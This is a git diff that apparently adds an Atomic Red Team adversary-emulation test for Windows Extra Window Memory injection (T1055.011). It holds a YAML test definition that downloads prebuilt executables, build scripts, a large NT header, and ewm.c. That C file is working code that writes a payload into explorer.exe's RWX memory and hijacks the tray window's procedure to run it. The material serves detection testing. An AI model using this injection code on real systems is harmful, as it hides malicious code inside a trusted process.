diff --git a/.gitignore b/.gitignore index c86d1c762c..aeeff8d6ef 100644 --- a/.gitignore +++ b/.gitignore @@ -61,3 +61,91 @@ terraform.rc # The ExternalPayloads folder ExternalPayloads + +# Visual Studio 2015/2017 cache/options directory +.vs/ + +# .NET Core +project.lock.json +project.fragment.lock.json +artifacts/ + +# ASP.NET Scaffolding +ScaffoldingReadMe.txt + +# StyleCop +StyleCopReport.xml + +# Files built by Visual Studio +*_i.c +*_p.c +*_h.h +*.ilk +*.meta +*.obj +*.iobj +*.pch +*.pdb +*.ipdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*_wpftmp.csproj +*.log +*.tlog +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db +*.VC.VC.opendb + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# Visual Studio Trace Files +*.e2e + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!?*.[Cc]ache/ + +# Others +ClientBin/ +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.jfm +*.pfx +*.publishsettings +orleans.codegen.cs + +# Node.js +node_modules/ + +# Python +__pycache__/ +*.pyc diff --git a/atomics/T1055.011/T1055.011.yaml b/atomics/T1055.011/T1055.011.yaml new file mode 100644 index 0000000000..089aff471b --- /dev/null +++ b/atomics/T1055.011/T1055.011.yaml @@ -0,0 +1,37 @@ +attack_technique: T1055.011 +display_name: "Process Injection: Extra Window Memory Injection" +atomic_tests: + - name: Process Injection via Extra Window Memory (EWM) x64 executable + description: Hooks functions of main process to inject a payload via Extra Window Memory (EWM) injection technique + supported_platforms: + - windows + input_arguments: + arch: + description: Architecture of payload + type: string + default: x64 + choices: + - x64 + - x86 + exe_binary: + description: PE binary for EWM injection + type: path + default: PathToAtomicsFolder\T1055.011\bin\T1055.011_#{arch}.exe + payload_file: + description: raw payload to inject + type: path + default: PathToAtomicsFolder\T1055.011\bin\payload.exe_#{arch}.bin + dependency_executor_name: powershell + dependencies: + - description: "T1055.011x64.exe and payload must exist on disk at specified location (#{exe_binary} and #{payload_file})" + prereq_command: "if (Test-Path #{exe_binary}) {exit 0} else {exit 1}" + get_prereq_command: |- + New-Item -Type Directory (split-path #{exe_binary}) -ErrorAction ignore | Out-Null + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.011/bin/T1055.011_#{arch}.exe" -OutFile "#{exe_binary}" -UseBasicParsing + Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055.011/bin/payload.exe_#{arch}.bin" -OutFile "#{payload_file}" -UseBasicParsing + executor: + command: |- + #{exe_binary} + cleanup_command: 'Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force' + name: powershell + elevation_required: false diff --git a/atomics/T1055.011/bin/T1055.011_x64.exe b/atomics/T1055.011/bin/T1055.011_x64.exe new file mode 100644 index 0000000000..6f5be30303 Binary files /dev/null and b/atomics/T1055.011/bin/T1055.011_x64.exe differ diff --git a/atomics/T1055.011/bin/T1055.011_x86.exe b/atomics/T1055.011/bin/T1055.011_x86.exe new file mode 100644 index 0000000000..7a5d4e38be Binary files /dev/null and b/atomics/T1055.011/bin/T1055.011_x86.exe differ diff --git a/atomics/T1055.011/bin/payload.exe_x64.bin b/atomics/T1055.011/bin/payload.exe_x64.bin new file mode 100644 index 0000000000..c9afe20e70 Binary files /dev/null and b/atomics/T1055.011/bin/payload.exe_x64.bin differ diff --git a/atomics/T1055.011/bin/payload.exe_x86.bin b/atomics/T1055.011/bin/payload.exe_x86.bin new file mode 100644 index 0000000000..952b6cd102 Binary files /dev/null and b/atomics/T1055.011/bin/payload.exe_x86.bin differ diff --git a/atomics/T1055.011/bin/xbin.exe b/atomics/T1055.011/bin/xbin.exe new file mode 100644 index 0000000000..07db5d1826 Binary files /dev/null and b/atomics/T1055.011/bin/xbin.exe differ diff --git a/atomics/T1055.011/src/build_x64.bat b/atomics/T1055.011/src/build_x64.bat new file mode 100644 index 0000000000..b308a88891 --- /dev/null +++ b/atomics/T1055.011/src/build_x64.bat @@ -0,0 +1,21 @@ +@echo off + +rem compiling xbin +cl -nologo -Os xbin.cpp +move /Y xbin.exe ..\bin\xbin.exe + +rem x64 version +cl -DWINDOW -D_WIN64 -D_MSC_VER -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- -w payload.c +link /order:@extrabytes_x64.txt /entry:WndProc /fixed payload.obj -nologo -subsystem:console -nodefaultlib -stack:0x100000,0x100000 +..\bin\xbin.exe payload.exe .text + +echo "Compiling T1055.011_x64.exe" +cl -DWINDOW -D_WIN64 -D_MSC_VER -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- -w ewm.c + +ren ewm.exe T1055.011_x64.exe +move /Y T1055.011_x64.exe ..\bin\ +move /Y payload.exe64.bin ..\bin\payload.exe_x64.bin + +echo "Cleaning files" +del /Q *.obj +del /Q *.exe diff --git a/atomics/T1055.011/src/build_x86.bat b/atomics/T1055.011/src/build_x86.bat new file mode 100644 index 0000000000..1421e2ecff --- /dev/null +++ b/atomics/T1055.011/src/build_x86.bat @@ -0,0 +1,21 @@ +@echo off + +rem compiling xbin +cl -nologo -Os xbin.cpp +move /Y xbin.exe ..\bin\xbin.exe + +rem x86 version +cl -DWINDOW -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- -w payload.c +link /order:@extrabytes_x86.txt /entry:WndProc /base:0 payload.obj -nologo -subsystem:console -nodefaultlib -stack:0x100000,0x100000 +..\bin\xbin.exe payload.exe .text + +echo "Compiling T1055.011_x86.exe" +cl -DWINDOW -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- -w ewm.c + +ren ewm.exe T1055.011_x86.exe +move /Y T1055.011_x86.exe ..\bin\ +move /Y payload.exe32.bin ..\bin\payload.exe_x86.bin + +echo "Cleaning files" +del /Q *.obj +del /Q *.exe diff --git a/atomics/T1055.011/src/ewm.c b/atomics/T1055.011/src/ewm.c new file mode 100644 index 0000000000..20fc65ec5e --- /dev/null +++ b/atomics/T1055.011/src/ewm.c @@ -0,0 +1,156 @@ +/** + Copyright © 2018 Odzhan. All Rights Reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + 3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR + IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, + INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + POSSIBILITY OF SUCH DAMAGE. */ + +// Original: https://github.com/odzhan/injection + +#define WIN32_LEAN_AND_MEAN + +#include "ntlib/nttpp.h" +#include "ntlib/util.h" +#include "ewm.h" + +#include +#include +#include +#include +#include + +LPVOID ewm(LPVOID payload, DWORD payloadSize){ + LPVOID cs, ds; + CTray ct; + ULONG_PTR ctp; + HWND hw; + HANDLE hp; + DWORD pid; + SIZE_T wr; + + // 1. Obtain a handle for the shell tray window + hw = FindWindow("Shell_TrayWnd", NULL); + + // 2. Obtain a process id for explorer.exe + GetWindowThreadProcessId(hw, &pid); + + // 3. Open explorer.exe + hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + + // 4. Obtain pointer to the current CTray object + ctp = GetWindowLongPtr(hw, 0); + if (ctp == 0) + { + printf("GetWindowLongPtr failed!\n"); + CloseHandle(hp); + return; + } + + // 5. Read address of the current CTray object + ReadProcessMemory(hp, (LPVOID)ctp, (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr); + + // 6. Read three addresses from the virtual table + ReadProcessMemory(hp, (LPVOID)ct.vTable, (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr); + + // 7. Allocate RWX memory for code + cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + + // 8. Copy the code to target process + WriteProcessMemory(hp, cs, payload, payloadSize, &wr); + + // 9. Allocate RW memory for the new CTray object + ds = VirtualAllocEx(hp, NULL, sizeof(ct), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + // 10. Write the new CTray object to remote memory + ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR); + ct.WndProc = (ULONG_PTR)cs; + + WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr); + + // 11. Set the new pointer to CTray object + SetWindowLongPtr(hw, 0, (ULONG_PTR)ds); + if (SetWindowLongPtr(hw, 0, (ULONG_PTR)ds) == 0) + { + printf("SetWindowLongPtr failed!\n"); + VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT); + VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT); + CloseHandle(hp); + return; + } + + // 12. Trigger the payload via a windows message + PostMessage(hw, WM_CLOSE, 0, 0); + + Sleep(1); + + // 13. Restore the original CTray object + SetWindowLongPtr(hw, 0, ctp); + + // 14. Release memory and close handles + VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE); + VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE); + + CloseHandle(hp); +} + +int main(void) { + LPVOID payload = NULL; + DWORD payloadSize = 0; + + PVOID imageBase = GetModuleHandle(NULL); + char fullpath[MAX_PATH]; + char drive[MAX_PATH]; + char dir[MAX_PATH]; + if (imageBase != NULL) + { + if (GetModuleFileName((HMODULE)imageBase, fullpath, sizeof(fullpath)) != 0) + { + printf("This program is running from: %s\n", fullpath); + } + } + + // Split fullpath into directory and filename + _splitpath_s(fullpath, drive, MAX_PATH, dir, MAX_PATH, NULL, 0, NULL, 0); + + // Create fullpath to payload + #if defined(_WIN64) + sprintf_s(fullpath, MAX_PATH, "%s%s%s", drive, dir, "payload.exe_x64.bin"); + #else + sprintf_s(fullpath, MAX_PATH, "%s%s%s", drive, dir, "payload.exe_x86.bin"); + #endif + + // Read payload from disk + #if defined(_WIN64) + payloadSize = readpic(fullpath, &payload); + #else + payloadSize = readpic(fullpath, &payload); + #endif + if (payloadSize == 0) { printf("invalid payload\n"); return 0; } + + // Executes payload usin Extra Window Memory Injection (T1055.011) + ewm(payload, payloadSize); + + return 0; +} diff --git a/atomics/T1055.011/src/ewm.h b/atomics/T1055.011/src/ewm.h new file mode 100644 index 0000000000..1ffe636d0b --- /dev/null +++ b/atomics/T1055.011/src/ewm.h @@ -0,0 +1,12 @@ +// Source: https://github.com/odzhan/injection +#pragma once + +// CTray object for Shell_TrayWnd +typedef struct _ctray_vtable { + ULONG_PTR vTable; // change to remote memory address + ULONG_PTR AddRef; + ULONG_PTR Release; + ULONG_PTR WndProc; // window procedure (change to payload) +} CTray; + +DWORD readpic(PWCHAR path, LPVOID* pic); \ No newline at end of file diff --git a/atomics/T1055.011/src/extrabytes_x64.txt b/atomics/T1055.011/src/extrabytes_x64.txt new file mode 100644 index 0000000000..867c0360b3 --- /dev/null +++ b/atomics/T1055.011/src/extrabytes_x64.txt @@ -0,0 +1,4 @@ +WndProc +FindExport +xGetProcAddress +xstrcmp \ No newline at end of file diff --git a/atomics/T1055.011/src/extrabytes_x86.txt b/atomics/T1055.011/src/extrabytes_x86.txt new file mode 100644 index 0000000000..b230f218ca --- /dev/null +++ b/atomics/T1055.011/src/extrabytes_x86.txt @@ -0,0 +1,4 @@ +WndProc@16 +FindExport +xGetProcAddress +xstrcmp \ No newline at end of file diff --git a/atomics/T1055.011/src/ntlib/ntddk.h b/atomics/T1055.011/src/ntlib/ntddk.h new file mode 100644 index 0000000000..90fe7eb949 --- /dev/null +++ b/atomics/T1055.011/src/ntlib/ntddk.h @@ -0,0 +1,4659 @@ +#ifndef __NTDLL_H__ +#define __NTDLL_H__ + +#ifdef __cplusplus +extern "C" { +#endif +#include + +#ifdef _NTDDK_ +#error This header cannot be compiled together with NTDDK +#endif + + +#ifndef _NTDLL_SELF_ // Auto-insert the library + +#if defined(_WIN64) +#pragma comment(lib, ".\\ntlib\\x64\\ntdll.lib") +#else +#pragma comment(lib, ".\\ntlib\\x86\\ntdll.lib") +#endif +#endif + +#pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union + +#pragma warning(push) +#pragma warning(disable:4005) +#include +#pragma warning(pop) + +//------------------------------------------------------------------------------ +// Defines for NTSTATUS + +typedef long NTSTATUS; + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) +#endif + +#ifndef STATUS_SUCCESS +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) +#endif + +#ifndef STATUS_UNSUCCESSFUL +#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L) +#endif + +#ifndef ASSERT +#ifdef _DEBUG +#define ASSERT(x) assert(x) +#else +#define ASSERT(x) /* x */ +#endif +#endif + +//------------------------------------------------------------------------------ +// Structures + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION { + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +typedef enum _EVENT_TYPE +{ + NotificationEvent, + SynchronizationEvent + +} EVENT_TYPE; + +// +// ANSI strings are counted 8-bit character strings. If they are +// NULL terminated, Length does not include trailing NULL. +// + +#ifndef _NTSECAPI_ +typedef struct _STRING +{ + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; + +} STRING, *PSTRING; + +// +// Unicode strings are counted 16-bit character strings. If they are +// NULL terminated, Length does not include trailing NULL. +// + +typedef struct _UNICODE_STRING +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; + +} UNICODE_STRING, *PUNICODE_STRING; +#endif // _NTSECAPI_ + +typedef STRING ANSI_STRING; +typedef PSTRING PANSI_STRING; + +typedef STRING OEM_STRING; +typedef PSTRING POEM_STRING; +typedef CONST STRING* PCOEM_STRING; + +typedef const UNICODE_STRING *PCUNICODE_STRING; + +#define UNICODE_NULL ((WCHAR)0) // winnt + +// +// Valid values for the Attributes field +// + +#ifndef OBJ_CASE_INSENSITIVE +#define OBJ_INHERIT 0x00000002L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_VALID_ATTRIBUTES 0x000007F2L + +// +// Object Attributes structure +// + +typedef struct _OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR + PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE + +} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; +#endif // OBJ_CASE_INSENSITIVE + +// +// IO_STATUS_BLOCK +// + +typedef struct _IO_STATUS_BLOCK +{ + union + { + NTSTATUS Status; + PVOID Pointer; + }; + + ULONG_PTR Information; + +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + +// +// ClientId +// + +typedef struct _CLIENT_ID +{ + HANDLE UniqueProcess; + HANDLE UniqueThread; + +} CLIENT_ID, *PCLIENT_ID; + + +// +// CURDIR structure +// + +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; + HANDLE Handle; + +} CURDIR, *PCURDIR; + + +//------------------------------------------------------------------------------ +// Macros + +// INIT_UNICODE_STRING is a replacement of RtlInitUnicodeString +#ifndef INIT_UNICODE_STRING +#define INIT_UNICODE_STRING(us, wch) \ + us.MaximumLength = (USHORT)sizeof(wch); \ + us.Length = (USHORT)(wcslen(wch) * sizeof(WCHAR)); \ + us.Buffer = wch +#endif + + +#ifndef InitializeObjectAttributes +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } +#endif + + +#ifndef InitializePortHeader +#define InitializeMessageHeader( ph, l, t ) { \ + (ph)->TotalLength = (USHORT)(l); \ + (ph)->DataLength = (USHORT)(l - sizeof(PORT_MESSAGE)); \ + (ph)->Type = (USHORT)(t); \ + (ph)->VirtualRangesOffset = 0; \ + } +#endif + +//----------------------------------------------------------------------------- +// Image functions + +NTSYSAPI +PVOID +NTAPI +RtlImageNtHeader ( + IN PVOID BaseAddress + ); + +NTSYSAPI +PVOID +NTAPI +RtlImageDirectoryEntryToData ( + IN PVOID Base, + IN BOOLEAN MappedAsImage, + IN USHORT DirectoryEntry, + OUT PULONG Size + ); + +//----------------------------------------------------------------------------- +// Unicode string functions + +NTSYSAPI +NTSTATUS +NTAPI +RtlStringFromGUID( + IN REFGUID Guid, + OUT PUNICODE_STRING GuidString + ); + + +NTSYSAPI +VOID +NTAPI +RtlInitUnicodeString( + PUNICODE_STRING DestinationString, + PCWSTR SourceString + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlCreateUnicodeString( + OUT PUNICODE_STRING DestinationString, + IN PCWSTR SourceString + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlCreateUnicodeStringFromAsciiz( + OUT PUNICODE_STRING Destination, + IN PCSTR Source + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlPrefixUnicodeString ( + IN PUNICODE_STRING String1, + IN PUNICODE_STRING String2, + IN BOOLEAN CaseInSensitive + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlDuplicateUnicodeString( + IN BOOLEAN AllocateNew, + IN PUNICODE_STRING SourceString, + OUT PUNICODE_STRING TargetString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAppendUnicodeToString ( + PUNICODE_STRING Destination, + PCWSTR Source + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAppendUnicodeStringToString( + IN OUT PUNICODE_STRING Destination, + IN PUNICODE_STRING Source + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToInteger ( + IN PUNICODE_STRING String, + IN ULONG Base OPTIONAL, + OUT PULONG Value + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlIntegerToUnicodeString ( + IN ULONG Value, + IN ULONG Base OPTIONAL, + IN OUT PUNICODE_STRING String + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlGUIDFromString( + IN PUNICODE_STRING GuidString, + OUT GUID *Guid + ); + + +NTSYSAPI +LONG +NTAPI +RtlCompareUnicodeString ( + IN PUNICODE_STRING String1, + IN PUNICODE_STRING String2, + IN BOOLEAN CaseInSensitive + ); + + +NTSYSAPI +VOID +NTAPI +RtlCopyUnicodeString( + OUT PUNICODE_STRING DestinationString, + IN PUNICODE_STRING SourceString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeString ( + OUT PUNICODE_STRING DestinationString, + IN PUNICODE_STRING SourceString, + IN BOOLEAN AllocateDestinationString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlDowncaseUnicodeString ( + OUT PUNICODE_STRING DestinationString, + IN PUNICODE_STRING SourceString, + IN BOOLEAN AllocateDestinationString + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualUnicodeString ( + IN PUNICODE_STRING String1, + IN PUNICODE_STRING String2, + IN BOOLEAN CaseInSensitive + ); + + +NTSYSAPI +VOID +NTAPI +RtlFreeUnicodeString( + IN PUNICODE_STRING UnicodeString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAnsiStringToUnicodeString ( + OUT PUNICODE_STRING DestinationString, + IN PANSI_STRING SourceString, + IN BOOLEAN AllocateDestinationString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToAnsiString ( + OUT PANSI_STRING DestinationString, + IN PUNICODE_STRING SourceString, + IN BOOLEAN AllocateDestinationString + ); + + +NTSYSAPI +VOID +NTAPI +RtlInitAnsiString ( + OUT PANSI_STRING DestinationString, + IN PCHAR SourceString + ); + + +NTSYSAPI +VOID +NTAPI +RtlFreeAnsiString ( + IN PANSI_STRING AnsiString + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlFormatCurrentUserKeyPath( + OUT PUNICODE_STRING CurrentUserKeyPath + ); + + +NTSYSAPI +VOID +NTAPI +RtlRaiseStatus ( + IN NTSTATUS Status + ); + + +NTSYSAPI +VOID +NTAPI +DbgBreakPoint( + VOID + ); + + +NTSYSAPI +ULONG +_cdecl +DbgPrint ( + PCH Format, + ... + ); + + +NTSYSAPI +ULONG +NTAPI +RtlRandom( + IN OUT PULONG Seed + ); + +//----------------------------------------------------------------------------- +// Critical section functions + +NTSYSAPI +NTSTATUS +NTAPI +RtlInitializeCriticalSection( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + + +NTSYSAPI +BOOL +NTAPI +RtlTryEnterCriticalSection( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlEnterCriticalSection( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlLeaveCriticalSection( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeleteCriticalSection( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +//----------------------------------------------------------------------------- +// Object functions + +// +// Object Manager Directory Specific Access Rights. +// + +#ifndef DIRECTORY_QUERY +#define DIRECTORY_QUERY (0x0001) +#define DIRECTORY_TRAVERSE (0x0002) +#define DIRECTORY_CREATE_OBJECT (0x0004) +#define DIRECTORY_CREATE_SUBDIRECTORY (0x0008) +#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) +#endif + +typedef enum _POOL_TYPE { + NonPagedPool, + PagedPool, + NonPagedPoolMustSucceed, + DontUseThisType, + NonPagedPoolCacheAligned, + PagedPoolCacheAligned, + NonPagedPoolCacheAlignedMustS, + MaxPoolType +} POOL_TYPE; + + +// +// For NtQueryObject +// + +typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation, // = 0 + ObjectNameInformation, // = 1 + ObjectTypeInformation, // = 2 + ObjectTypesInformation, // = 3 //object handle is ignored + ObjectHandleFlagInformation // = 4 +} OBJECT_INFORMATION_CLASS; + +// +// NtQueryObject uses ObjectBasicInformation +// + +typedef struct _OBJECT_BASIC_INFORMATION { + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG Reserved[3]; + ULONG NameInfoSize; + ULONG TypeInfoSize; + ULONG SecurityDescriptorSize; + LARGE_INTEGER CreationTime; +} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; + +// +// NtQueryObject uses ObjectNameInformation +// + +typedef struct _OBJECT_NAME_INFORMATION { + UNICODE_STRING Name; +} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; + +// +// NtQueryObject uses ObjectTypeInformation +// + +typedef struct _OBJECT_TYPE_INFORMATION { + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + POOL_TYPE PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; + +// +// NtQueryObject uses ObjectHandleFlagInformation +// NtSetInformationObject uses ObjectHandleFlagInformation +// + +typedef struct _OBJECT_HANDLE_FLAG_INFORMATION { + BOOLEAN Inherit; + BOOLEAN ProtectFromClose; +} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION; + +// +// NtQueryDirectoryObject uses this type +// + +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenDirectoryObject( + OUT PHANDLE DirectoryHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryDirectoryObject( + IN HANDLE DirectoryHandle, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN BOOLEAN RestartScan, + IN OUT PULONG Context, + OUT PULONG ReturnLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryObject ( + IN HANDLE ObjectHandle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + OUT PVOID ObjectInformation, + IN ULONG Length, + OUT PULONG ResultLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationObject ( + IN HANDLE ObjectHandle, + IN OBJECT_INFORMATION_CLASS ObjectInformationClass, + IN PVOID ObjectInformation, + IN ULONG Length + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDuplicateObject ( + IN HANDLE SourceProcessHandle, + IN HANDLE SourceHandle, + IN HANDLE TargetProcessHandle OPTIONAL, + OUT PHANDLE TargetHandle OPTIONAL, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + IN ULONG Options + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQuerySecurityObject ( + IN HANDLE ObjectHandle, + IN SECURITY_INFORMATION SecurityInformation, + OUT PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ULONG DescriptorLength, + OUT PULONG ReturnLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetSecurityObject ( + IN HANDLE ObjectHandle, + IN SECURITY_INFORMATION SecurityInformation, + IN PSECURITY_DESCRIPTOR SecurityDescriptor + ); + + +//----------------------------------------------------------------------------- +// Handle table RTL functions + +#define LEVEL_HANDLE_ID 0x74000000 +#define LEVEL_HANDLE_ID_MASK 0xFF000000 +#define LEVEL_HANDLE_INDEX_MASK 0x00FFFFFF + +typedef enum _RTL_GENERIC_COMPARE_RESULTS { + GenericLessThan, + GenericGreaterThan, + GenericEqual +} RTL_GENERIC_COMPARE_RESULTS; + + +typedef struct _RTL_SPLAY_LINKS +{ + struct _RTL_SPLAY_LINKS *Parent; + struct _RTL_SPLAY_LINKS *LeftChild; + struct _RTL_SPLAY_LINKS *RightChild; +} RTL_SPLAY_LINKS, *PRTL_SPLAY_LINKS; + + +struct _RTL_GENERIC_TABLE; + +typedef +RTL_GENERIC_COMPARE_RESULTS +(NTAPI * PRTL_GENERIC_COMPARE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + PVOID FirstStruct, + PVOID SecondStruct + ); + +typedef +PVOID +(NTAPI *PRTL_GENERIC_ALLOCATE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + ULONG ByteSize + ); + +typedef +VOID +(NTAPI *PRTL_GENERIC_FREE_ROUTINE) ( + struct _RTL_GENERIC_TABLE *Table, + PVOID Buffer + ); + + +typedef struct _RTL_GENERIC_TABLE { + PRTL_SPLAY_LINKS TableRoot; + LIST_ENTRY InsertOrderList; + PLIST_ENTRY OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine; + PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine; + PRTL_GENERIC_FREE_ROUTINE FreeRoutine; + PVOID TableContext; +} RTL_GENERIC_TABLE, *PRTL_GENERIC_TABLE; + + +typedef struct _RTL_HANDLE_TABLE_ENTRY 